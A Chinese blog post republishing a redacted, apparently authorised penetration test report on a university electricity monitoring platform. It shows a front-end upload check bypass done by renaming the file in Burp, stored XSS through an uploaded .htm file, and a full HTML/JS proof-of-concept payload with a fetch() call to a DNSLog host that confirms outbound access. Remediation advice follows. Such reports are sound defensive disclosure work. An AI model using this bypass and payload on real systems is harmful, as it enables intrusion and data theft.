EDU攻防实战:对山东某高校的线下打点渗透复盘③
考虑到内容的完整性和可读性,以下直接附上本次线下内网渗透的脱敏报告(部分内容由AI整理)
济南某高校智慧式用电监管平台高危漏洞测试报告
1. 漏洞概述
经授权测试,目标平台存在可组合利用的高危安全问题,具体包括:
- 文件上传校验可被绕过(仅前端限制,服务端校验不足)
- 上传后的
.htm文件可被服务器直接解析执行 - 可形成存储型 XSS(持久化触发)
- 服务器具备外联出网能力
攻击者在无需高权限的情况下,可上传恶意 HTML 文件并触发持久化脚本执行,进而窃取敏感信息、控制受害者浏览器行为,且可借助出网能力进行进一步外联操作。综合评估风险等级为:高危。
2. 影响范围
- 济南某高校智慧式用电监管平台:
http://10.XX.XX.196:18080 - XXXXXXXXX用电监管系统
3. 复现过程
3.1 登录系统并定位上传功能
访问后台页面:http://10.XX.XX.X91:18080/settingConfig
使用
中获取的账户uXXXXX 登录,进入可上传图片的业务页面。

3.2 验证正常图片上传行为
先上传一张本地 PNG 图片,返回包会回显文件访问路径。

3.3 验证前端校验逻辑可绕过
继续上传本地 .php 文件时,页面提示“上传图片格式错误”,且抓包中未看到请求到达服务端,说明被前端逻辑拦截。
相关前端代码如下(仅校验 e.type):
beforeUpload: function(e) {
if ("image/jpeg" === e.type || "image/png" === e.type) {
this.imageUrl = URL.createObjectURL(e);
this.srcList = [this.imageUrl];
var t = e.size < 1024 * this.fileUploadMaxSize;
return t || this.$Message.error(this.$t("imageUploadSizeLimitTip", {
size: Math.floor(this.fileUploadMaxSize / 1024)
})), t;
}
this.$Message.error(this.$t("uploadImgFormatError"));
},
该逻辑属于前端限制,无法替代服务端安全校验。
3.4 构造测试文件并准备上传
创建文本文件后重命名为:payload_poc.htm.jpg。
写入测试用 HTML/JS 载荷(示例):
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<title>PoC</title>
</head>
<body>
<script>alert("测试XSS弹窗")</script>
<h1>信息采集</h1>
<p id="urlInfo"></p>
<p id="uaInfo"></p>
<input id="dnsSubdomain" placeholder="输入DNSLog子域名" />
<button onclick="sendDnsRequest()">发送请求</button>
<script>
document.getElementById('urlInfo').textContent = 'URL: ' + location.href;
document.getElementById('uaInfo').textContent = 'UA: ' + navigator.userAgent;
function sendDnsRequest() {
const subdomain = document.getElementById('dnsSubdomain').value.trim();
if (!subdomain) return;
const requestUrl = subdomain.startsWith('http') ? subdomain : `http://${subdomain}`;
fetch(requestUrl, { mode: 'no-cors', cache: 'no-cache' });
}
</script>
</body>
</html>
同时,系统指纹识别为“XXX”系统(XXXXX科技)。

3.5 通过 Burp 修改文件名后缀并重放请求
上传 payload_poc.htm.jpg 后,在 Burp 中将请求包 filename 中的 .jpg 后缀删除,再重放请求。


3.6 访问回显地址验证脚本执行
访问返回地址:http://10.XX.XX.196:18080/upload/type_image/202603/XXXXXX99440.htm
可观察到页面内嵌脚本已执行(弹窗、浏览器信息读取等),符合存储型 XSS 的触发特征。


3.7 验证服务器出网能力
在页面中填入 DNSLog 子域名后,能够收到回连记录,确认目标服务器存在外联出网能力。
观测到公网 IP:XXX.XXX.XX.XXX

4. 漏洞详情
| 漏洞点 | 成因 | 风险 |
|---|---|---|
| 上传校验绕过 | 仅依赖前端 e.type 限制,缺少服务端强校验 |
可绕过上传限制并投递恶意文件 |
| 恶意文件可执行 | 服务端允许并解析 .htm 文件 |
上传后可立即执行 HTML/JS 代码 |
| 存储型 XSS | 恶意文件可长期存储并被访问 | 任意访问者可持续触发攻击脚本 |
| 服务器出网 | 服务端可访问外部域名/接口 | 可用于外联控制、信息泄露与横向攻击链扩展 |
5. 修复建议
- 在服务端实施严格白名单校验,联合验证文件头(Magic Number)、后缀、MIME,不允许上传
htm/html/asp/php/jsp等可执行脚本文件。 - 将上传目录设置为不可执行,关闭脚本解析权限;上传内容与 Web 运行目录彻底隔离。
- 上传文件统一随机重命名,禁止使用用户可控文件名,避免后缀欺骗与直接路径访问。
- 对所有输出内容进行上下文相关转义(HTML/Attribute/JS),并过滤危险标签与事件处理器。
- 增加 CSP(Content Security Policy)与关键安全响应头,降低 XSS 利用成功率。
- 按最小权限原则收敛服务器外联能力,仅放行必要目标与端口。
- 升级XXX系统至厂商最新安全版本,并开展同类上传点与 XSS 点的专项排查。
- 完成一次覆盖未授权访问、文件上传、XSS 的全量安全复测,形成闭环整改记录。
6. 结论
该平台当前存在“上传绕过 + 文件解析执行 + 存储型 XSS + 服务器出网”组合风险。建议按高危事件流程优先整改上传与解析链路,并同步实施出网控制与整体安全加固。
温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。
涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。
如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。
